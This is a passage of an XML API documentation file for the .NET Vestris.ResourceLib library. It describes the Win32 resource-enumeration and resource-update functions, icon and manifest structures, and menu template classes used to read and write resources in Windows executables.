</summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes for icons.\n            Horizontal hotspot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel for icons.\n            Vertical hostpot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwFileOffset\">\n            <summary>\n            Offset of bitmap data from the beginning of the file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR\">\n            <summary>\n            Hardware-independent icon structure in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wType\">\n            <summary>\n            Resource Type (1 for icons).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_LIBRARY_AS_DATAFILE\">\n            <summary>\n            If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.DONT_RESOLVE_DLL_REFERENCES\">\n            <summary>\n            If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_WITH_ALTERED_SEARCH_PATH\">\n            <summary>\n            If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_IGNORE_CODE_AUTHZ_LEVEL\">\n            <summary>\n            If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadLibraryEx(System.String,System.IntPtr,System.UInt32)\">\n            <summary>\n            Loads the specified module into the address space of the calling process. \n            The specified module may cause other modules to be loaded.\n            </summary>\n            <param name=\"lpFileName\">The name of the module.</param>\n            <param name=\"hFile\">This parameter is reserved for future use.</param>\n            <param name=\"dwFlags\">The action to be taken when loading the module.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FreeLibrary(System.IntPtr)\">\n            <summary>\n            Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count.\n            </summary>\n            <param name=\"hModule\">A handle to the loaded library module.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ResourceTypes\">\n            <summary>\n            Predefined resource types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_CURSOR\">\n            <summary>\n            Hardware-dependent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_BITMAP\">\n            <summary>\n            Bitmap resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ICON\">\n            <summary>\n            Hardware-dependent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MENU\">\n            <summary>\n            Menu resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DIALOG\">\n            <summary>\n            Dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_STRING\">\n            <summary>\n            String-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONTDIR\">\n            <summary>\n            Font directory resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONT\">\n            <summary>\n            Font resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ACCELERATOR\">\n            <summary>\n            Accelerator table.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_RCDATA\">\n            <summary>\n            Application-defined resource (raw data).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MESSAGETABLE\">\n            <summary>\n            Message-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_CURSOR\">\n            <summary>\n            Hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_ICON\">\n            <summary>\n            Hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VERSION\">\n            <summary>\n            Version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DLGINCLUDE\">\n            <summary>\n            Allows a resource editing tool to associate a string with an .rc file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_PLUGPLAY\">\n            <summary>\n            Plug and Play resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VXD\">\n            <summary>\n            VXD.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANICURSOR\">\n            <summary>\n            Animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANIICON\">\n            <summary>\n            Animated icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_HTML\">\n            <summary>\n            HTML.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MANIFEST\">\n            <summary>\n            Microsoft Windows XP: Side-by-Side Assembly XML Manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceTypes(System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resource types within a binary module.\n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource type.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the types are to be enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. </param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceNames(System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resources of a specified type within a binary module. \n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource name or ID.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources that are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource that is being enumerated.</param>\n            <param name=\"lpszName\">Specifies the name of a resource of the type being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates language-specific resources, of the specified type and name, associated with a binary module.\n            </summary>\n            <param name=\"hModule\">The handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource language.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the languages are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"wIDLanguage\">Specifies the language identifier for the resource for which the language is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FindResourceEx(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16)\">\n            <summary>\n            Determines the location of the resource with the specified type, name, and language in the specified module.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource.</param>\n            <param name=\"wLanguage\">Specifies the language of the resource.</param>\n            <returns>If the function succeeds, the return value is a handle to the specified resource's information block.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LockResource(System.IntPtr)\">\n            <summary>\n            Locks the specified resource in memory.\n            </summary>\n            <param name=\"hResData\">Handle to the resource to be locked.</param>\n            <returns>If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Loads the specified resource into global memory.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResData\">Handle to the resource to be loaded.</param>\n            <returns>If the function succeeds, the return value is a handle to the data associated with the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.SizeofResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Returns the size, in bytes, of the specified resource. \n            </summary>\n            <param name=\"hInstance\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResInfo\">Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function.</param>\n            <returns>If the function succeeds, the return value is the number of bytes in the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.CloseHandle(System.IntPtr)\">\n            <summary>\n            Closes an open object handle.\n            </summary>\n            <param name=\"hHandle\">A valid handle to an open object.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.BeginUpdateResource(System.String,System.Boolean)\">\n            <summary>\n            Returns a handle to either a language-neutral portable executable file (LN file) or a \n            language-specific resource file (.mui file) that can be used by the UpdateResource function \n            to add, delete, or replace resources in a binary module.\n            </summary>\n            <param name=\"pFileName\">Pointer to a null-terminated string that specifies the binary file in which to update resources.</param>\n            <param name=\"bDeleteExistingResources\">Specifies whether to delete the pFileName parameter's existing resources.</param>\n            <returns>If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.UpdateResource(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.Byte[],System.UInt32)\">\n            <summary>\n            Adds, deletes, or replaces a resource in a portable executable (PE) file. \n            There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: \n            language-neutral (LN) files and language-specific resource (.mui) files.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, referencing the file to be updated.</param>\n            <param name=\"lpType\">Pointer to a null-terminated string specifying the resource type to be updated.</param>\n            <param name=\"lpName\">Pointer to a null-terminated string specifying the name of the resource to be updated.</param>\n            <param name=\"wLanguage\">Specifies the language identifier of the resource to be updated.</param>\n            <param name=\"lpData\">Pointer to the resource data to be inserted into the file indicated by hUpdate.</param>\n            <param name=\"cbData\">Specifies the size, in bytes, of the resource data at lpData.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EndUpdateResource(System.IntPtr,System.Boolean)\">\n            <summary>\n            Commits or discards changes made prior to a call to UpdateResource.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated.</param>\n            <param name=\"fDiscard\">Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect.</param>\n            <returns>Returns TRUE if the function succeeds; FALSE otherwise.</returns>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_NEUTRAL\">\n            <summary>\n            Neutral primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_ENGLISH\">\n            <summary>\n            US-English primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_NEUTRAL\">\n            <summary>\n            Neutral sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_ENGLISH_US\">\n            <summary>\n            US-English sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.CREATEPROCESS_MANIFEST_RESOURCE_ID\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, \n            ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. \n            The process default activation context will be used by all components running in the process. \n            CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has \n            a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the \n            dependency. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_MANIFEST_RESOURCE_ID\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private \n            dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. \n            It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll \n            version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still \n            use the right version of comctl32.dll. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\">\n            <summary>\n            When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW \n            is redefined to IsolationAwareLoadLibraryExW. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ManifestType\">\n            <summary>\n            Resource manifest type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.CreateProcess\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAware\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAwareNonstaticImport\">\n            <summary>\n            ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.MoveMemory(System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n            </summary>\n            <param name=\"dest\">A pointer to the starting address of the copied block's destination.</param>\n            <param name=\"src\">A pointer to the starting address of the block of memory to copy.</param>\n            <param name=\"count\">The size of the block of memory to copy, in bytes.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.LoadException\">\n            <summary>\n            A resource load exception.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.OuterException\">\n            <summary>\n            The Win32 exception from a resource enumeration function.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.LoadException.#ctor(System.String,System.Exception,System.Exception)\">\n            <summary>\n            A new resource load exception.\n            </summary>\n            <param name=\"message\">Error message.</param>\n            <param name=\"innerException\">The inner exception thrown within a single resource.</param>\n            <param name=\"outerException\">The outer exception from the Win32 API.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.Message\">\n            <summary>\n            A combined message of the inner and outer exception.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ManifestResource\">\n            <summary>\n            An embedded SxS manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.Manifest\">\n            <summary>\n            Embedded XML manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.ManifestType\">\n            <summary>\n            Manifest type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing embedded manifest resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor\">\n            <summary>\n            A new executable CreateProcess manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            A new executable manifest.\n            </summary>\n            <param name=\"manifestType\">Manifest type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.LoadFrom(System.String,Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            Load a manifest resource from an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n            <param name=\"manifestType\">Manifest resource type.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplate\">\n            <summary>\n            Extended menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu template.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENUEX format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCollection\">\n            <summary>\n            A collection of menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.#ctor\">\n            <summary>\n            A collection of extended menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item collection.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu collection to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCollection.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemCommand\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.#ctor\">\n            <summary>\n            A command menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemCommand.IsSeparator\">\n            <summary>\n            Returns true if the item is a separator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemCommand.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENU format.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItemPopup\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItemPopup.SubMenuItems\">\n            <summary>\n            Sub menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.#ctor\">\n            <summary>\n            An extended popup menu item.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Read(System.IntPtr)\">\n            <summary>\n            Read an extended popup menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItemPopup.ToString(System.Int32)\">\n            <summary>\n            String representation in the MENUEX format.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuResource.Menu\">\n            <summary>\n            Menu template.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor\">\n            <summary>\n            A structured menu resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured menu resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a menu resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuResource.ToString\">\n            <summary>\n            String representation of the menu resource in the MENU format.\n            </summary>\n            <returns>String representation of the menu resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplate\">\n            <summary>\n            Standard menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write menu template to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENU format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateBase\">\n            <summary>\n            A menu template header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template header.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param 